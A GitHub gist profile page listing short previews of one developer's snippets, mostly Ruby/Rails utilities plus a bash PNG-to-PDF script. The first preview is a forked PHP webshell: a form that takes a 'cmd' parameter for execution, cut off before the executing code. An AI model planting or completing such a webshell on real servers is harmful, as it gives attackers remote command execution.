Skip to content

Instantly share code, notes, and snippets.

View XORwell's full-sized avatar
:octocat:
XORwell@github:~$ profile

Christian Nennemann XORwell

:octocat:
XORwell@github:~$ profile
27 followers · 65 following
  • Munich, Germany
View GitHub Profile
@XORwell
XORwell / easy-simple-php-webshell.php
Created October 8, 2021 09:56 — forked from joswr1ght/easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@XORwell
XORwell / rails_monkeypatch.rb
Created June 9, 2021 01:55
rails_monkeypatch.rb
class Integer
# @example 15778476.to_duration.in_days
def to_duration
ActiveSupport::Duration.build(self)
end
end
class String
# @example "15778476".to_duration
def to_duration
@XORwell
XORwell / dump_db_to_json.rb
Created May 14, 2021 15:17 — forked from Ch4s3/dump_db_to_json.rb
Export local db to JSON and load that dump back to the db later
namespace :json do
desc 'Export all data to JSON files'
task :export => :environment do
Rails.application.eager_load!
ApplicationRecord.descendants.each do |model|
next if model.table_name.nil? || model.table_name == ''
begin
data = model.all
next if data == []
@XORwell
XORwell / net_http_digest_auth.rb
Created October 11, 2020 19:17 — forked from KINGSABRI/net_http_digest_auth.rb
HTTP Digest Auth for Ruby's net/http
# Support for http digest auth
# Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb
require 'digest/md5'
require 'net/http'
module Net
module HTTPHeader
@@nonce_count = -1
CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest
@XORwell
XORwell / pdf.sh
Created March 16, 2014 11:29
#!bin/bash
# Requirements: imagemagick, ghostscript, pdftk
#############################################
# create pdf for each png
#############################################
for image in *.png; do
filename="${image%%.*}".pdf
@XORwell
XORwell / ruby_design_patterns_explained.md
Last active December 28, 2015 10:49
@XORwell
XORwell / active_ldap_extensions.rb
Last active December 28, 2015 05:29
ActiveLdap Extensions
# ActiveLdapExtensions
#
# @author Christian Nennemann
#
module ActiveLdapExtensions
extend ActiveSupport::Concern
module Time
# Convert the time to the FILETIME format, a 64-bit value representing the
# number of 100-nanosecond intervals since January 1, 1601 (UTC).
@XORwell
XORwell / global_request_logging.rb
Created October 30, 2013 19:57
# ApplicationController
around_filter :global_request_logging
def global_request_logging
logger.tagged('USERAGENT'){ logger.info "#{request.headers['HTTP_USER_AGENT']}" }
begin
yield
ensure
logger.info "response_status: #{response.status}"
end
@XORwell
XORwell / redirect_pages_back.rb
Created October 30, 2013 18:46
rails redirect some more pages back than redirect_to :back
#ApplicationController
after_action :set_pages
def set_pages
max_size = 5
session[:pages] = [] unless session[:pages]
session[:pages].shift while(session[:pages].size >= max_size)
session[:pages] << request.original_url
end
@XORwell
XORwell / monkeypatch_icecube_occurrence.rb
Created October 13, 2013 19:45
# Evolve IceCube Occurrence # Background: IceCubes ::all_occurrences returns Occurrence Objects # This patch makes it possible to store IceCube::Schedule#all_occurrences return value into Mongoid field type Array
class IceCube::Occurrence
def self.evolve(occurrence)
occurrence.to_time
end
end